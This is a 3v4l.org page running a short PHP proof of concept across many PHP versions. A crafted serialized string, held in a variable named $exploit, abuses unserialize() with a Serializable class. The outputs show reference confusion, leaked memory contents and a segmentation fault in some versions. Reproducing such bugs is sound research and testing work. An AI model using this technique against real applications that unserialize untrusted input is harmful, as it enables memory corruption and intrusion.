3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php class obj implements Serializable { private $data; public function serialize() { } public function unserialize($data) { $this->data = unserialize($data); $this->data = 1; } } $inner = 'a:0:{}'; $exploit = 'a:2:{i:0;C:3:"obj":' . strlen($inner) . ':{' . $inner . '}i:1;R:3;}'; $data = unserialize($exploit); var_dump($data);
based on S3CvU
Output for 5.4.45, 5.5.29 - 5.5.35, 5.6.13 - 5.6.28, 7.0.20 - 7.2.0
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> array(0) { } }
Output for 7.0.0 - 7.0.6
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &array(1) { ["objdata"]=> int(1) } }
Output for 5.4.39 - 5.4.44, 5.5.24 - 5.5.28, 5.6.7 - 5.6.12
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> NULL }
Output for 5.4.9 - 5.4.38
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &NULL }
Output for 5.4.0 - 5.4.8
array(2) { [0]=> object(obj)#1 (1) { ["data":"obj":private]=> int(1) } [1]=> &array(49) {
Process exited with code 139.
Output for 5.3.19 - 5.3.29
Notice: unserialize(): Error at offset 37 of 38 bytes in /in/N2EAI on line 20 bool(false)